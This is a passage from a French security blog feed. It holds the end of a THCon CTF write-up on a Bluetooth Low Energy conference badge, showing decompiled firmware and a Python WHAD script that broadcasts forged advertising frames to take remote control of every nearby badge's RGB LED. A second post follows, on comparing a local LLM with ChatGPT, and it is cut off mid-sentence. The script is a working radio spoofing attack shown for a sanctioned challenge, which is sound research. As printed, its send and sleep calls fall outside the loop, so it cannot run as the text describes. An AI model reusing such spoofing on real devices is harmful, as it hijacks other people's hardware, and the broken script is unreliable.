&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_cb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_ca&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_c9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_c8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_c7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;auStack_c4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;156&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;puStack_28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Construit un advertising record de type Manufacturer Specific Data. */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;__call_memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auStack_c4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0xa4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_cc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_cb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_ca&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;puStack_28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;uStack_cc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_c9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;red&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_c8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;green&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_c7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;blue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__42017038&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auStack_c4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Transmet l&amp;#39;advertising record en passant en mode advertising. */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_d4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_d0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__4200f9d0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;uStack_d9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__42016d72&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uStack_d9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;uStack_d8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uVar1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FUN_ram_40811072&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Notification dans la console sur la retransmission réussie d&amp;#39;une commande. */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FUN_ram_40810f56&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;s_BLE_CTF_ram_4207bd90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;s_I_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;lu&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;_relay_ID&lt;/span&gt;&lt;span class="o"&gt;:%&lt;/span&gt;&lt;span class="n"&gt;d_send&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_ram_4207bd98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;uVar1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;s_BLE_CTF_ram_4207bd90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette fonction est appelée régulièrement par un &lt;em&gt;timer&lt;/em&gt;, et retransmet une trame reçue
précédemment avec les mêmes paramètres (ID, R, G, B).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="fonctionnement-du-badge"&gt;
&lt;h2&gt;Fonctionnement du badge&lt;/h2&gt;
&lt;p&gt;Suite à cette analyse, le fonctionnement du badge paraît relativement évident: il est à l'écoute
d'un périphérique transmettant des données d'annonce particulières, et lorsqu'il reçoit une donnée
d'annonce au format attendu ce dernier configure la LED RGB avec les valeurs reçues, puis retransmet
cette donnée d'annonce après un temps relativement court. L'ordre reçu est ainsi propagé de proche
en proche, au travers d'un réseau maillé rudimentaire (pas de routage, seulement du broadcast).
Le champ &lt;em&gt;ID&lt;/em&gt; transmis dans la donnée d'annonce permet d'éviter la retransmission en boucle d'un ordre
déjà reçu, avec certainement un délai au bout duquel l'ordre est retiré de la liste des ordres déjà
traités.&lt;/p&gt;
&lt;p&gt;Il n'y a donc pas de flag à trouver dans ce micrologiciel mais une fonctionnalité à exploiter afin
de prendre le contrôle à distance de toutes les LEDs RGB des badges actifs, un peu comme ce qu'il se fait
lors de certains concerts avec des bracelets lumineux synchronisés par radio.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="emission-d-une-trame-d-activation"&gt;
&lt;h2&gt;Emission d'une trame d'activation&lt;/h2&gt;
&lt;p&gt;Le fonctionnement de ce badge déduit de l'analyse du code, j'ai tenté durant la dernière demi-journée
de la conférence de capturer ces trames d'activation, mais sans succès. De retour à l'hôtel, je me suis
mis en tête d'essayer de transmettre une telle trame, à l'aide du framework WHAD. J'ai utilisé une
fonctionnalité en cours de développement pour transmettre ce qui me semblait être un &lt;em&gt;advertising record&lt;/em&gt;
correspondant aux critères:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;whad.device&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Device&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;whad.ble&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Advertiser&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;whad.ble.profile.advdata&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AdvDataFieldList&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AdvManufacturerSpecificData&lt;/span&gt;

&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Device&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hci1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;advertiser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Advertiser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;adv_data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AdvDataFieldList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;AdvManufacturerSpecificData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xffff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0xff&lt;/span&gt;
    &lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="n"&gt;advertiser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adv_data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AdvDataFieldList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;AdvManufacturerSpecificData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xffff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ce petit bout de code envoie des données d'annonce structurées suivant le format retrouvé par rétro-ingénierie,
en ordonnant au badge d'allumer la LED RGB en rouge, vert, bleu et cela de façon cyclique. La valeur du champ &lt;em&gt;ID&lt;/em&gt;
est incrémentée constamment pour éviter qu'un nouvel ordre soit ignoré.&lt;/p&gt;
&lt;p&gt;Il se trouve que c'était exactement ce qu'attendait le badge, et j'ai pu observer la LED passer d'une couleur à l'autre
au rythme des trames émises par mon code:&lt;/p&gt;
&lt;video controls&gt;
&lt;source src="/images/2026-05-11/thcon-led.mp4" type="video/mp4"/&gt;
&lt;/video&gt;&lt;/div&gt;
&lt;div class="section" id="le-mot-de-la-fin"&gt;
&lt;h2&gt;Le mot de la fin&lt;/h2&gt;
&lt;p&gt;J'avais pourtant attaqué l'analyse par rétro-ingénierie du micrologiciel du badge dans la matinée, mais suite à notre
talk, Axelle et moi-même avons passé beaucoup de temps à discuter avec des participants et c'est seulement en fin d'après-midi
que j'ai pu me remettre sur l'analyse du code. J'ai aussi perdu beaucoup de temps à tenter de capturer une trame d'activation
officielle, sans succès. C'est dommage, ça aurait été vraiment drôle de prendre le contrôle des LEDs des badges durant un
talk !&lt;/p&gt;
&lt;p&gt;Cette édition de THCon était vraiment top, ça a été l'occasion de revoir tout plein de gens et d'assister à quelques talks
excellents. Encore un grand merci aux organisateurs, et vivement la prochaine édition (avec un badge électronique) !&lt;/p&gt;
&lt;p&gt;Un grand merci à DVID et Baptiste Rebillard pour le badge électronique et le challenge BLE.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Geekeries"/><category term="conférence"/><category term="ctf"/><category term="writeup"/><category term="bluetooth"/></entry><entry><title>Chérie, j'ai biaisé mon IA !</title><link href="https://virtualabs.fr/humeur/ia-biais-implicite" rel="alternate"/><published>2026-03-04T00:20:00+01:00</published><updated>2026-03-04T00:20:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2026-03-04:/humeur/ia-biais-implicite</id><summary type="html">&lt;p&gt;Je me suis monté l'année dernière une petite machine pour faire tourner des modèles de LLMs en local,
à base de matériel de récupération. J'ai trouvé une tour d'occasion avec un processeur plutôt correct,
je lui ai ajouté de la RAM (16 G, je me rends compte que c'est très …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je me suis monté l'année dernière une petite machine pour faire tourner des modèles de LLMs en local,
à base de matériel de récupération. J'ai trouvé une tour d'occasion avec un processeur plutôt correct,
je lui ai ajouté de la RAM (16 G, je me rends compte que c'est très peu après coup) et une carte graphique
de seconde main (GTX 1660 Super avec 6G de VRAM), en sachant pertinemment que cette configuration ne peut
pas rivaliser avec les LLMs cloud comme ChatGPT ou Claude. Mon setup local utilise Ollama sur lequel
plusieurs modèles sont déployés, dont le récent &lt;em&gt;Qwen3.5:9b&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Je trouvais ça intéressant de tester ce que ça pouvait donner en local pour un investissement minime,
tout en utilisant en parallèle ChatGPT à des fins de comparaison, vu que j'ai pris un abonnement dans le
seul but de préparer un futur talk, et qu'il faut bien le rentabiliser... C'est dans cet esprit que je me
suis mis à solliciter mon LLM local et ChatGPT en parallèle dans des cas d'utilisation variés allant du
développement logiciel à la santé mentale, afin de mieux cerner ce que peut gérer mon LLM local et ce
qui est au dessus de ses capacités.&lt;/p&gt;
&lt;p&gt;Ce faisant, j'ai découvert plusieurs aspects des LLMs que je n'avais pas trop exploré, qu'ils soient
positifs ou négatifs, et cela m'a permis d'une part de mieux cadrer mon utilisation de ces outils et
d'autre part de me rendre compte de certaines de leurs limites. Après plusieurs semaines et mois à
prendre en main ces outils, je me suis aussi rendu compte que j'étais en train de remettre en cause
tout ce que je disais aux personnes avec qui je pouvais discuter d'IA et de LLMs, et en particulier
les impacts écologiques et sociétaux de ces outils. Je me suis dit qu'il était temps de mettre par
écrit tout ça, de vider mon sac et que peut-être émergeraient de ce gloubi-boulga d'idées et de
réflexions une image plus nette de mon ressenti sur les LLMs et l'IA en général.&lt;/p&gt;
&lt;div class="section" id="la-difficulte-a-embrasser-les-nouvelles-technologies"&gt;
&lt;h2&gt;La difficulté à embrasser les nouvelles technologies&lt;/h2&gt;
&lt;p&gt;Je ne sais pas si c'est parce que je prends de l'âge, mais l'arrivée fracassante de l'IA générative ne m'a pas
trop intéressé et je suis resté à l'écart pendant quelque temps. Pas que je pensais que ce serait juste
une mode, mais plutôt pour voir comment cette dernière serait mise en œuvre et comment se passerait son
évolution. Car si je sais bien une chose concernant les nouvelles technologies, c'est que ça évolue toujours
à une vitesse ahurissante. La nouveauté d'aujourd'hui peut être entièrement chamboulée par une autre idée
dérivée de celle-ci quelques jours plus tard, et je n'ai plus le luxe de surveiller l'actualité aussi souvent
qu'il y a vingt ans, à mon grand désespoir.&lt;/p&gt;
&lt;p&gt;Toujours est-il que je monte ma petite machine locale pour expérimenter, tout en assénant mes minis-moi (12 ans
et 13 ans, respectivement) de ce que je pense de le ChatGPT, Copilot et autre LLM, bien qu'ils ne m'aient rien
demandé. Mais il faut avouer que je suis complètement à la ramasse tellement tout bouge de semaine en semaine.
Les modèles évoluent et succèdent, je mets à jour Ollama semaine après semaine, et je vois notamment comment
l'IA générative s'installe solidemment dans la vie de tout le monde. Mon mini-moi de 12 ans se sert de Copilot
pour créer des pages web, coder sur arduino en C++ (alors qu'il ne connaît pas le C et encore moins le C++)
ou expérimenter le développement d'un assistant en Python. Des proches me disent utiliser ChatGPT pour faire
une partie de leur boulot et gagner du temps, et les actualités pullulent à la fois de titres anxiogènes et
d'initiatives et projets qui semblent prometteurs avec récemment &lt;em&gt;openclaw&lt;/em&gt;. Rien qui ne puisse m'aider à
vraiment préciser mes idées et qui a pour conséquence une vision plutôt pessimiste à court terme et
une démoralisation complète. J'ai peur d'être dépassé, d'avoir franchi le point où je ressemble à une personne
âgée qui découvre ce qu'est un ordinateur, une souris, et qui n'arrive pas à &amp;quot;surfer sur l'Internet&amp;quot;. C'est
assez bizarre, comme sensation, mais c'est là et c'est assez tenace.&lt;/p&gt;
&lt;p&gt;Ce qui semblait être il y a quelques années un outil assez marrant, que j'avais d'ailleurs rapidement testé
et qui était loin des résultats que l'on observe aujourd'hui, est désormais suffisamment probant pour que
plusieurs visionnaires prédisent la fin du métier de développeur tel qu'on le connaît, et même celle des
experts en cybersécurité. Car personne ne peut rivaliser avec une machine qui &lt;em&gt;sait&lt;/em&gt; et qui est capable
d'utiliser ses &lt;em&gt;connaissances&lt;/em&gt; pour &lt;em&gt;faire&lt;/em&gt; votre boulot. Même si ça tue des ours blancs ou que ça flingue
le climat, à croire que la paresse gagnera toujours. L'IA générative, tu l'utilises ou tu prends le risque
de rester sur le bord de la route, avec de possibles conséquences que l'on ne peut pas clairement définir
pour le moment. Mais il y a un &lt;em&gt;risque&lt;/em&gt;. Et c'est ce qui m'a motivé à expérimenter, car il n'y a pas meilleur
moyen d'appréhender le potentiel et les &lt;em&gt;risques&lt;/em&gt; introduits par l'IA générative que de challenger les
outils, et au passage de se challenger soi-même en espérant ne pas finir en dépression.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="apprentissage-du-langage-rust-en-mode-assiste"&gt;
&lt;h2&gt;Apprentissage du langage Rust en mode assisté&lt;/h2&gt;
&lt;p&gt;Un des mes premiers usages avec l'IA générative a été de voir comment cette dernière pouvait m'aider à développer
plus rapidement des applications. J'avais fait quelques expérimentations en stream, et récemment l'IA m'avait
bien aidé dans la transposition de structures de données dans du code Python, en considérant cette tâche comme
ingrate et peu technique. Cependant, je me suis lancé plus sérieusement dans l'apprentissage du langage Rust
en décembre dernier, et je me suis dit que l'IA pouvait me permettre d'apprendre plus rapidement les bonnes
pratiques de ce langage. Cela faisait quelques mois que je voyais mon mini-moi de 12 ans utiliser de façon
assez intelligente Copilot pour produire du code, et je lui avais par ailleurs conseillé de solliciter Copilot
dans une optique d'apprentissage plutôt que de s'en servir pour du &lt;em&gt;vibe-coding&lt;/em&gt; pur et dur.&lt;/p&gt;
&lt;p&gt;Me voici donc pendant mes vacances avec d'un côté ChatGPT et de l'autre mon assistant local, à essayer de structurer
mon application Rust. Mon objectif n'était pas de laisser l'IA coder à ma place mais bel et bien d'apprendre comment
modéliser tel ou tel aspect d'une application en Rust. Je connais les rudiments du langage, mais il m'était très
difficile de voir comment faire de l'héritage en Rust tel que je le codais habituellement en C++. Et ce n'est pas
possible, car Rust a ses propres mécanismes et paradigmes qui ne collent pas vraiment avec l'approche orientée objet.
C'est là que l'IA a été très utile: j'ai demandé des informations sur les façons de modéliser tel ou tel composant,
et je me suis retrouvé assez rapidement avec des solutions et même des bouts de code. Cette interaction axée sur
le design de l'application et non pas le code m'a permis de mieux comprendre certains concepts de Rust, mais surtout
comment les utiliser pour optimiser les performances et faciliter l'écriture de code. Quand on fait les bons choix
dès le début, la factorisation du code est une cible primordiale et on se retrouve à adopter des réflexes lors du
développement et à prendre les bonnes habitudes.&lt;/p&gt;
&lt;p&gt;J'ai fait cela pendant les quelques semaines où je développais mon petit prototype, et à chaque fois que je rencontrais
un problème, je sollicitais mon LLM local et ChatGPT, et je comparais les résultats. C'est là que je me suis rendu
